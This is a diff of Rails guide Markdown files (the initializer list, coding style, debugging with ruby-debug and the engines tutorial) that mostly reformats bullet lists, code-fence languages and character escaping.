*`load_active_support`* Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default.
|
||||
* `load_active_support` Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default.
|
||||
|
||||
*`initialize_logger`* Initializes the logger (an `ActiveSupport::BufferedLogger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`.
|
||||
* `initialize_logger` Initializes the logger (an `ActiveSupport::BufferedLogger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`.
|
||||
|
||||
*`initialize_cache`* If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack.
|
||||
* `initialize_cache` If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack.
|
||||
|
||||
*`set_clear_dependencies_hook`* Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer -- which runs only if `cache_classes` is set to `false` -- uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
|
||||
* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer -- which runs only if `cache_classes` is set to `false` -- uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
|
||||
|
||||
*`initialize_dependency_mechanism`* If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them.
|
||||
* `initialize_dependency_mechanism` If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them.
|
||||
|
||||
*`bootstrap_hook`* Runs all configured `before_initialize` blocks.
|
||||
* `bootstrap_hook` Runs all configured `before_initialize` blocks.
|
||||
|
||||
*`i18n.callbacks`* In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
|
||||
* `i18n.callbacks` In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
|
||||
|
||||
*`active_support.initialize_whiny_nils`* Requires `active_support/whiny_nil` if `config.whiny_nils` is true. This file will output errors such as:
|
||||
* `active_support.initialize_whiny_nils` Requires `active_support/whiny_nil` if `config.whiny_nils` is true. This file will output errors such as:
|
||||
|
||||
```
|
||||
Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id
|
||||
|
@ -682,81 +692,81 @@ You might have expected an instance of Array.
|
|||
The error occurred while evaluating nil.each
|
||||
```
|
||||
|
||||
*`active_support.deprecation_behavior`* Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values.
|
||||
* `active_support.deprecation_behavior` Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values.
|
||||
|
||||
*`active_support.initialize_time_zone`* Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC".
|
||||
* `active_support.initialize_time_zone` Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC".
|
||||
|
||||
*`action_dispatch.configure`* Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`.
|
||||
* `action_dispatch.configure` Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`.
|
||||
|
||||
*`action_view.cache_asset_ids`* Sets `ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids` to `false` when Active Support loads, but only if `config.cache_classes` is too.
|
||||
* `action_view.cache_asset_ids` Sets `ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids` to `false` when Active Support loads, but only if `config.cache_classes` is too.
|
||||
|
||||
*`action_view.javascript_expansions`* Registers the expansions set up by `config.action_view.javascript_expansions` and `config.action_view.stylesheet_expansions` to be recognized by Action View and therefore usable in the views.
|
||||
* `action_view.javascript_expansions` Registers the expansions set up by `config.action_view.javascript_expansions` and `config.action_view.stylesheet_expansions` to be recognized by Action View and therefore usable in the views.
|
||||
|
||||
*`action_view.set_configs`* Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through.
|
||||
* `action_view.set_configs` Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through.
|
||||
|
||||
*`action_controller.logger`* Sets `ActionController::Base.logger` -- if it's not already set -- to `Rails.logger`.
|
||||
* `action_controller.logger` Sets `ActionController::Base.logger` -- if it's not already set -- to `Rails.logger`.
|
||||
|
||||
*`action_controller.initialize_framework_caches`* Sets `ActionController::Base.cache_store` -- if it's not already set -- to `Rails.cache`.
|
||||
* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` -- if it's not already set -- to `Rails.cache`.
|
||||
|
||||
*`action_controller.set_configs`* Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through.
|
||||
* `action_controller.set_configs` Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through.
|
||||
|
||||
*`action_controller.compile_config_methods`* Initializes methods for the config settings specified so that they are quicker to access.
|
||||
* `action_controller.compile_config_methods` Initializes methods for the config settings specified so that they are quicker to access.
|
||||
|
||||
*`active_record.initialize_timezone`* Sets `ActiveRecord::Base.time_zone_aware_attributes` to true, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`.
|
||||
* `active_record.initialize_timezone` Sets `ActiveRecord::Base.time_zone_aware_attributes` to true, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`.
|
||||
|
||||
*`active_record.logger`* Sets `ActiveRecord::Base.logger` -- if it's not already set -- to `Rails.logger`.
|
||||
* `active_record.logger` Sets `ActiveRecord::Base.logger` -- if it's not already set -- to `Rails.logger`.
|
||||
|
||||
*`active_record.set_configs`* Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through.
|
||||
* `active_record.set_configs` Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through.
|
||||
|
||||
*`active_record.initialize_database`* Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment.
|
||||
* `active_record.initialize_database` Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment.
|
||||
|
||||
*`active_record.log_runtime`* Includes `ActiveRecord::Railties::ControllerRuntime` which is responsible for reporting the time taken by Active Record calls for the request back to the logger.
|
||||
* `active_record.log_runtime` Includes `ActiveRecord::Railties::ControllerRuntime` which is responsible for reporting the time taken by Active Record calls for the request back to the logger.
|
||||
|
||||
*`active_record.set_dispatch_hooks`* Resets all reloadable connections to the database if `config.cache_classes` is set to `false`.
|
||||
* `active_record.set_dispatch_hooks` Resets all reloadable connections to the database if `config.cache_classes` is set to `false`.
|
||||
|
||||
*`action_mailer.logger`* Sets `ActionMailer::Base.logger` -- if it's not already set -- to `Rails.logger`.
|
||||
* `action_mailer.logger` Sets `ActionMailer::Base.logger` -- if it's not already set -- to `Rails.logger`.
|
||||
|
||||
*`action_mailer.set_configs`* Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through.
|
||||
* `action_mailer.set_configs` Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through.
|
||||
|
||||
*`action_mailer.compile_config_methods`* Initializes methods for the config settings specified so that they are quicker to access.
|
||||
* `action_mailer.compile_config_methods` Initializes methods for the config settings specified so that they are quicker to access.
|
||||
|
||||
*`set_load_path`* This initializer runs before `bootstrap_hook`. Adds the `vendor`, `lib`, all directories of `app` and any paths specified by `config.load_paths` to `$LOAD_PATH`.
|
||||
* `set_load_path` This initializer runs before `bootstrap_hook`. Adds the `vendor`, `lib`, all directories of `app` and any paths specified by `config.load_paths` to `$LOAD_PATH`.
|
||||
|
||||
*`set_autoload_paths`* This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths` to `ActiveSupport::Dependencies.autoload_paths`.
|
||||
* `set_autoload_paths` This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths` to `ActiveSupport::Dependencies.autoload_paths`.
|
||||
|
||||
*`add_routing_paths`* Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application.
|
||||
* `add_routing_paths` Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application.
|
||||
|
||||
*`add_locales`* Adds the files in `config/locales` (from the application, railties and engines) to `I18n.load_path`, making available the translations in these files.
|
||||
* `add_locales` Adds the files in `config/locales` (from the application, railties and engines) to `I18n.load_path`, making available the translations in these files.
|
||||
|
||||
*`add_view_paths`* Adds the directory `app/views` from the application, railties and engines to the lookup path for view files for the application.
|
||||
* `add_view_paths` Adds the directory `app/views` from the application, railties and engines to the lookup path for view files for the application.
|
||||
|
||||
*`load_environment_config`* Loads the `config/environments` file for the current environment.
|
||||
* `load_environment_config` Loads the `config/environments` file for the current environment.
|
||||
|
||||
*`append_asset_paths`* Finds asset paths for the application and all attached railties and keeps a track of the available directories in `config.static_asset_paths`.
|
||||
* `append_asset_paths` Finds asset paths for the application and all attached railties and keeps a track of the available directories in `config.static_asset_paths`.
|
||||
|
||||
*`prepend_helpers_path`* Adds the directory `app/helpers` from the application, railties and engines to the lookup path for helpers for the application.
|
||||
* `prepend_helpers_path` Adds the directory `app/helpers` from the application, railties and engines to the lookup path for helpers for the application.
|
||||
|
||||
*`load_config_initializers`* Loads all Ruby files from `config/initializers` in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.
|
||||
* `load_config_initializers` Loads all Ruby files from `config/initializers` in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.
|
||||
|
||||
*`engines_blank_point`* Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.
|
||||
* `engines_blank_point` Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.
|
||||
|
||||
*`add_generator_templates`* Finds templates for generators at `lib/templates` for the application, railities and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.
|
||||
* `add_generator_templates` Finds templates for generators at `lib/templates` for the application, railities and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.
|
||||
|
||||
*`ensure_autoload_once_paths_as_subset`* Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised.
|
||||
* `ensure_autoload_once_paths_as_subset` Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised.
|
||||
|
||||
*`add_to_prepare_blocks`* The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be ran per request in development, or before the first request in production.
|
||||
* `add_to_prepare_blocks` The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be ran per request in development, or before the first request in production.
|
||||
|
||||
*`add_builtin_route`* If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application.
|
||||
* `add_builtin_route` If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application.
|
||||
|
||||
*`build_middleware_stack`* Builds the middleware stack for the application, returning an object which has a `call` method which takes a Rack environment object for the request.
|
||||
* `build_middleware_stack` Builds the middleware stack for the application, returning an object which has a `call` method which takes a Rack environment object for the request.
|
||||
|
||||
*`eager_load!`* If `config.eager_load` is true, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`.
|
||||
* `eager_load!` If `config.eager_load` is true, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`.
|
||||
|
||||
*`finisher_hook`* Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties and engines.
|
||||
* `finisher_hook` Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties and engines.
|
||||
|
||||
*`set_routes_reloader`* Configures Action Dispatch to reload the routes file using `ActionDispatch::Callbacks.to_prepare`.
|
||||
* `set_routes_reloader` Configures Action Dispatch to reload the routes file using `ActionDispatch::Callbacks.to_prepare`.
|
||||
|
||||
*`disable_dependency_loading`* Disables the automatic dependency loading if the `config.eager_load` is set to true.
|
||||
* `disable_dependency_loading` Disables the automatic dependency loading if the `config.eager_load` is set to true.
|
||||
|
||||
Database pooling
|
||||
----------------
|
||||
|
|
|
@ -364,7 +364,7 @@ Rails follows a simple set of coding style conventions.
|
|||
* Two spaces, no tabs (for indentation).
|
||||
* No trailing whitespace. Blank lines should not have any spaces.
|
||||
* Indent after private/protected.
|
||||
* Prefer `&&`/`||` over `and`/`or`.
|
||||
* Prefer `&&`/`||` over `and`/`or`.
|
||||
* Prefer class << self over self.method for class methods.
|
||||
* Use `MyClass.my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`.
|
||||
* Use a = b and not a=b.
|
||||
|
|
|
@ -21,9 +21,9 @@ One common task is to inspect the contents of a variable. In Rails, you can do t
|
|||
|
||||
### `debug`
|
||||
|
||||
The `debug` helper will return a <pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
|
||||
The `debug` helper will return a \<pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
|
||||
|
||||
```html
|
||||
```html+erb
|
||||
<%= debug @post %>
|
||||
<p>
|
||||
<b>Title:</b>
|
||||
|
@ -52,7 +52,7 @@ Title: Rails debugging guide
|
|||
|
||||
Displaying an instance variable, or any other object or method, in YAML format can be achieved this way:
|
||||
|
||||
```html
|
||||
```html+erb
|
||||
<%= simple_format @post.to_yaml %>
|
||||
<p>
|
||||
<b>Title:</b>
|
||||
|
@ -82,7 +82,7 @@ Title: Rails debugging guide
|
|||
|
||||
Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example:
|
||||
|
||||
```html
|
||||
```html+erb
|
||||
<%= [1, 2, 3, 4, 5].inspect %>
|
||||
<p>
|
||||
<b>Title:</b>
|
||||
|
@ -174,7 +174,7 @@ end
|
|||
|
||||
Here's an example of the log generated by this method:
|
||||
|
||||
```bash
|
||||
```
|
||||
Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
|
||||
Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
|
||||
vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
|
||||
|
@ -235,7 +235,7 @@ end
|
|||
|
||||
If you see the message in the console or logs:
|
||||
|
||||
```bash
|
||||
```
|
||||
***** Debugger requested, but was not available: Start server with --debugger to enable *****
|
||||
```
|
||||
|
||||
|
@ -266,7 +266,7 @@ For example:
|
|||
|
||||
Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: `help` (You didn't see that coming, right?)
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:7) help
|
||||
ruby-debug help v0.10.2
|
||||
Type 'help <command-name>' for help on a specific command
|
||||
|
@ -279,13 +279,13 @@ condition down finish list ps save thread var
|
|||
continue edit frame method putl set tmate where
|
||||
```
|
||||
|
||||
TIP: To view the help menu for any command use `help <command-name>` in active debug mode. For example: _`help var`_
|
||||
TIP: To view the help menu for any command use `help <command-name>` in active debug mode. For example: _`help var`_
|
||||
|
||||
The next command to learn is one of the most useful: `list`. You can abbreviate any debugging command by supplying just enough letters to distinguish them from other commands, so you can also use `l` for the `list` command.
|
||||
|
||||
This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by `=>`.
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:7) list
|
||||
[1, 10] in /PathToProject/posts_controller.rb
|
||||
1 class PostsController < ApplicationController
|
||||
|
@ -302,7 +302,7 @@ This command shows you where you are in the code by printing 10 lines centered a
|
|||
|
||||
If you repeat the `list` command, this time using just `l`, the next ten lines of the file will be printed out.
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:7) l
|
||||
[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
|
||||
11 end
|
||||
|
@ -321,7 +321,7 @@ And so on until the end of the current file. When the end of file is reached, th
|
|||
|
||||
On the other hand, to see the previous ten lines you should type `list-` (or `l-`)
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:7) l-
|
||||
[1, 10] in /PathToProject/posts_controller.rb
|
||||
1 class PostsController < ApplicationController
|
||||
|
@ -339,7 +339,7 @@ On the other hand, to see the previous ten lines you should type `list-` (or `l-
|
|||
This way you can move inside the file, being able to see the code above and over the line you added the `debugger`.
|
||||
Finally, to see where you are in the code again you can type `list=`
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:7) list=
|
||||
[1, 10] in /PathToProject/posts_controller.rb
|
||||
1 class PostsController < ApplicationController
|
||||
|
@ -362,7 +362,7 @@ The debugger creates a context when a stopping point or an event is reached. The
|
|||
|
||||
At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer.
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:5) where
|
||||
#0 PostsController.index
|
||||
at line /PathTo/project/app/controllers/posts_controller.rb:6
|
||||
|
@ -377,7 +377,7 @@ At any time you can call the `backtrace` command (or its alias `where`) to print
|
|||
|
||||
You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number.
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:5) frame 2
|
||||
#2 ActionController::Base.perform_action_without_filters
|
||||
at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
|
||||
|
@ -405,7 +405,7 @@ Any expression can be evaluated in the current context. To evaluate an expressio
|
|||
|
||||
This example shows how you can print the instance_variables defined within the current context:
|
||||
|
||||
```bash
|
||||
```
|
||||
@posts = Post.all
|
||||
(rdb:11) instance_variables
|
||||
["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
|
||||
|
@ -413,7 +413,7 @@ This example shows how you can print the instance_variables defined within the c
|
|||
|
||||
As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide).
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:11) next
|
||||
Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
|
||||
Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
|
||||
|
@ -424,7 +424,7 @@ respond_to do |format|
|
|||
|
||||
And then ask again for the instance_variables:
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:11) instance_variables.include? "@posts"
|
||||
true
|
||||
```
|
||||
|
@ -435,7 +435,7 @@ TIP: You can also step into *irb* mode with the command `irb` (of course!). This
|
|||
|
||||
The `var` method is the most convenient way to show variables and their values:
|
||||
|
||||
```bash
|
||||
```
|
||||
var
|
||||
(rdb:1) v[ar] const <object> show constants of object
|
||||
(rdb:1) v[ar] g[lobal] show global variables
|
||||
|
@ -445,14 +445,14 @@ var
|
|||
|
||||
This is a great way to inspect the values of the current context variables. For example:
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:9) var local
|
||||
__dbg_verbose_save => false
|
||||
```
|
||||
|
||||
You can also inspect for an object method this way:
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:9) var instance Post.new
|
||||
@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
|
||||
@attributes_cache = {}
|
||||
|
@ -463,7 +463,7 @@ TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ru
|
|||
|
||||
You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:1) display @recent_comments
|
||||
1: @recent_comments =
|
||||
```
|
||||
|
@ -476,7 +476,7 @@ Now you should know where you are in the running trace and be able to print the
|
|||
|
||||
Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to the debugger.
|
||||
|
||||
TIP: You can also use `step<plus> n` and `step- n` to move forward or backward `n` steps respectively.
|
||||
TIP: You can also use `step+ n` and `step- n` to move forward or backward `n` steps respectively.
|
||||
|
||||
You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
|
||||
|
||||
|
@ -498,7 +498,7 @@ end
|
|||
|
||||
TIP: You can use the debugger while using `rails console`. Just remember to `require "debugger"` before calling the `debugger` method.
|
||||
|
||||
```bash
|
||||
```
|
||||
$ rails console
|
||||
Loading development environment (Rails 3.1.0)
|
||||
>> require "debugger"
|
||||
|
@ -512,7 +512,7 @@ Loading development environment (Rails 3.1.0)
|
|||
|
||||
With the code stopped, take a look around:
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:1) list
|
||||
[2, 9] in /PathTo/project/app/models/author.rb
|
||||
2 has_one :editorial
|
||||
|
@ -527,7 +527,7 @@ With the code stopped, take a look around:
|
|||
|
||||
You are at the end of the line, but... was this line executed? You can inspect the instance variables.
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:1) var instance
|
||||
@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
|
||||
@attributes_cache = {}
|
||||
|
@ -535,7 +535,7 @@ You are at the end of the line, but... was this line executed? You can inspect t
|
|||
|
||||
`@recent_comments` hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the `next` command to move on in the code:
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:1) next
|
||||
/PathTo/project/app/models/author.rb:12
|
||||
@recent_comments
|
||||
|
@ -560,14 +560,14 @@ You can add breakpoints dynamically with the command `break` (or just `b`). Ther
|
|||
* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
|
||||
* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:5) break 10
|
||||
Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
|
||||
```
|
||||
|
||||
Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:5) info breakpoints
|
||||
Num Enb What
|
||||
1 y at filters.rb:10
|
||||
|
@ -575,7 +575,7 @@ Num Enb What
|
|||
|
||||
To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
|
||||
|
||||
```bash
|
||||
```
|
||||
(rdb:5) delete 1
|
||||
(rdb:5) info breakpoints
|
||||
No breakpoints.
|
||||
|
@ -596,8 +596,8 @@ To list all active catchpoints use `catch`.
|
|||
|
||||
There are two ways to resume execution of an application that is stopped in the debugger:
|
||||
|
||||
* `continue` [line-specification] (or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
|
||||
* `finish` [frame-number] (or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
|
||||
* `continue` [line-specification] \(or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
|
||||
* `finish` [frame-number] \(or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
|
||||
|
||||
### Editing
|
||||
|
||||
|
@ -666,7 +666,7 @@ $ RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house rails server
|
|||
|
||||
Make sure to run a couple hundred requests to get better data samples, then press `CTRL-C`. The server will stop and Bleak House will produce a dumpfile in `/tmp`:
|
||||
|
||||
```bash
|
||||
```
|
||||
** BleakHouse: working...
|
||||
** BleakHouse: complete
|
||||
** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
|
||||
|
@ -674,7 +674,7 @@ Make sure to run a couple hundred requests to get better data samples, then pres
|
|||
|
||||
To analyze it, just run the listed command. The top 20 leakiest lines will be listed:
|
||||
|
||||
```bash
|
||||
```
|
||||
191691 total objects
|
||||
Final heap size 191691 filled, 220961 free
|
||||
Displaying top 20 most common line/class pairs
|
||||
|
|
|
@ -147,7 +147,7 @@ $ rails generate scaffold post title:string text:text
|
|||
|
||||
This command will output this information:
|
||||
|
||||
```bash
|
||||
```
|
||||
invoke active_record
|
||||
create db/migrate/[timestamp]_create_blorgh_posts.rb
|
||||
create app/models/blorgh/post.rb
|
||||
|
@ -221,7 +221,7 @@ This helps prevent conflicts with any other engine or application that may have
|
|||
|
||||
Finally, two files that are the assets for this resource are generated, `app/assets/javascripts/blorgh/posts.js` and `app/assets/javascripts/blorgh/posts.css`. You'll see how to use these a little later.
|
||||
|
||||
By default, the scaffold styling is not applied to the engine as the engine's layout file, `app/views/blorgh/application.html.erb` doesn't load it. To make this apply, insert this line into the `<head>` tag of this layout:
|
||||
By default, the scaffold styling is not applied to the engine as the engine's layout file, `app/views/blorgh/application.html.erb` doesn't load it. To make this apply, insert this line into the `<head>` tag of this layout:
|
||||
|
||||
```erb
|
||||
<%= stylesheet_link_tag "scaffold" %>
|
||||
|
@ -256,7 +256,7 @@ $ rails generate model Comment post_id:integer text:text
|
|||
|
||||
This will output the following:
|
||||
|
||||
```bash
|
||||
```
|
||||
invoke active_record
|
||||
create db/migrate/[timestamp]_create_blorgh_comments.rb
|
||||
create app/models/blorgh/comment.rb
|
||||
|
@ -269,7 +269,7 @@ This generator call will generate just the necessary model files it needs, names
|
|||
|
||||
To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and add this line before the "Edit" link:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<h3>Comments</h3>
|
||||
<%= render @post.comments %>
|
||||
```
|
||||
|
@ -300,7 +300,7 @@ Next, there needs to be a form so that comments can be created on a post. To add
|
|||
|
||||
Next, the partial that this line will render needs to exist. Create a new directory at `app/views/blorgh/comments` and in it a new file called `_form.html.erb` which has this content to create the required partial:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<h3>New comment</h3>
|
||||
<%= form_for [@post, @post.comments.build] do |f| %>
|
||||
<p>
|
||||
|
@ -329,7 +329,7 @@ $ rails g controller comments
|
|||
|
||||
This will generate the following things:
|
||||
|
||||
```bash
|
||||
```
|
||||
create app/controllers/blorgh/comments_controller.rb
|
||||
invoke erb
|
||||
exist app/views/blorgh/comments
|
||||
|
@ -373,7 +373,7 @@ This partial will be responsible for rendering just the comment text, for now. C
|
|||
<%= comment_counter + 1 %>. <%= comment.text %>
|
||||
```
|
||||
|
||||
The `comment_counter` local variable is given to us by the `<%= render @post.comments %>` call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
|
||||
The `comment_counter` local variable is given to us by the `<%= render @post.comments %>` call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
|
||||
|
||||
That completes the comment function of the blogging engine. Now it's time to use it within an application.
|
||||
|
||||
|
@ -435,7 +435,7 @@ Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh
|
|||
Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
|
||||
```
|
||||
|
||||
The first timestamp (`\[timestamp_1\]`) will be the current time and the second timestamp (`\[timestamp_2\]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.
|
||||
The first timestamp (`[timestamp_1]`) will be the current time and the second timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.
|
||||
|
||||
